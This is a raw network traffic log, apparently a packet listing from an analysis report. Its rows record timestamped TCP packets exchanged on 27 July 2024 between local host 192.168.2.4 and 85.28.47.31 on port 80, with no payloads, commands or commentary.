Jul 27, 2024 05:39:17.615551949 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.615562916 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.615586996 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.615597963 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.615631104 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.615636110 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.615680933 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.615688086 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.615720034 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.615731955 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.615762949 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.615770102 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.615803003 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.615812063 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.615837097 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.615852118 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.615875006 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.615879059 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.615917921 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.615931034 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.615974903 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.615978956 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.616024971 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.616030931 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.616064072 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.616075039 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.616110086 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.616113901 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.616147041 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.616158009 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.616179943 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.616189003 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.616211891 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.616221905 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.616246939 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.616260052 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.616280079 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.616290092 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.616314888 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.616323948 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.616353035 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.616358995 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.616394997 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.616403103 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.616436005 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.616446018 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.616477013 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.616509914 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.616552114 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.616590977 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.616624117 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.616636038 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.616667986 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.616676092 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.616710901 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.616720915 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.616741896 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.616765022 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.616780996 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.616791964 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.616815090 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.616823912 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.616848946 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.616857052 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.616880894 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.616890907 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.616916895 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.616925001 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.616950989 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.616967916 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.616985083 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.616997957 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.617017031 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.617028952 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.617050886 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.617084980 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.617086887 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.617120981 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.617120981 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.617120981 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.617153883 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.617162943 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.617187977 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.617194891 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.617221117 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.617230892 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.617254972 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.617265940 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.617289066 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.617300987 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.617326975 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.617330074 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.617360115 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.617369890 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.617394924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.617405891 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.617428064 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.617439032 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.617463112 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.617470980 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.617496014 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.617520094 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.617530107 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.617532969 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.617563963 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.617573977 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.617597103 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.617608070 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.617634058 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.617640018 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.617667913 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.617675066 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.617702961 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.617712021 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.617737055 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.617746115 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.617769957 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.617774963 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.617805004 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.617814064 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.617837906 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.617846012 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.617871046 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.617878914 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.617904902 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.617913008 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.617938995 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.617949009 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.617973089 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.617981911 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.618006945 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.618014097 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.618038893 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.618047953 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.618073940 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.618083000 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.618105888 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.618112087 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.618139982 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.618150949 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.618175983 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.618184090 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.618218899 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.705276012 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.705338001 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.705341101 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.705374002 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.705383062 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.705408096 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.705415964 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.705441952 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.705446959 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.705476046 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.705491066 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.705507994 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.705513954 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.705542088 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.705549955 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.705576897 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.705586910 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.705610037 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.705621004 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.705645084 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.705666065 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.705677032 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.705687046 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.705713034 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.705725908 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.705756903 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.705763102 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.705806971 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.705815077 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.705847025 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.705859900 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.705887079 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.705889940 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.705919981 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.705929995 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.705955029 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.705964088 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.705987930 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.706000090 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.706022024 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.706032038 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.706064939 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.706073999 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.706106901 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.706115961 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.706163883 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.706170082 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.706204891 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.706217051 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.706245899 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.706252098 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.706286907 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.706295967 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.706320047 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.706329107 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.706355095 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.706363916 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.706387997 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.706398010 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.706430912 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.706429958 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.706464052 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.706475019 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.706506014 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.706515074 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.706549883 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.706571102 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.706593037 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.706598043 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.706633091 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.706640959 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.706666946 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.706676006 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.706710100 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.706717968 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.706760883 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.706768036 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.706800938 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.706811905 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.706834078 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.706842899 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.706867933 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.706877947 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.706912994 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.706919909 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.706962109 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.706969023 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.707003117 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.707011938 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.707036018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.707051039 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.707076073 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.707083941 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.707118034 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.707128048 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.707173109 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.707179070 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.707211018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.707222939 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.707245111 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.707252979 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.707278967 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.707288980 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.707320929 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.707324028 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.707354069 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.707365036 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.707387924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.707403898 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.707421064 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.707432032 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.707462072 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.707472086 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.707511902 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.707521915 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.707556963 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.707566977 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.707588911 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.707597971 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.707624912 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.707648993 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.707698107 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.707700014 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.707734108 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.707742929 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.707768917 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.707777023 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.707803011 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.707813978 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.707835913 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.707844973 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.707869053 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.707879066 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.707901955 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.707911968 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.707936049 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.707945108 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.707969904 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.707979918 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.708003998 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.708013058 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.708040953 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.708050966 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.708075047 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.708085060 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.708108902 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.708117962 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.708142996 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.708151102 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.708175898 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.708193064 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.708209991 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.708219051 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.708244085 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.708251953 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.708277941 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.708287001 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.708311081 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.708321095 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.708347082 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.708358049 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.708381891 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.708394051 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.708416939 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.708425045 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.708451033 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.708462000 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.708501101 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.708523989 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.708568096 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.709115982 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.709151983 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.709161997 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.709186077 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.709197044 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.709219933 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.709229946 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.709265947 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.709271908 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.709306955 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.709316015 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.709338903 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.709350109 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.709372997 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.709386110 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.709405899 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.709417105 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.709439993 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.709448099 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.709472895 CEST	80	49477	85.28.47.31	192.168.2.4
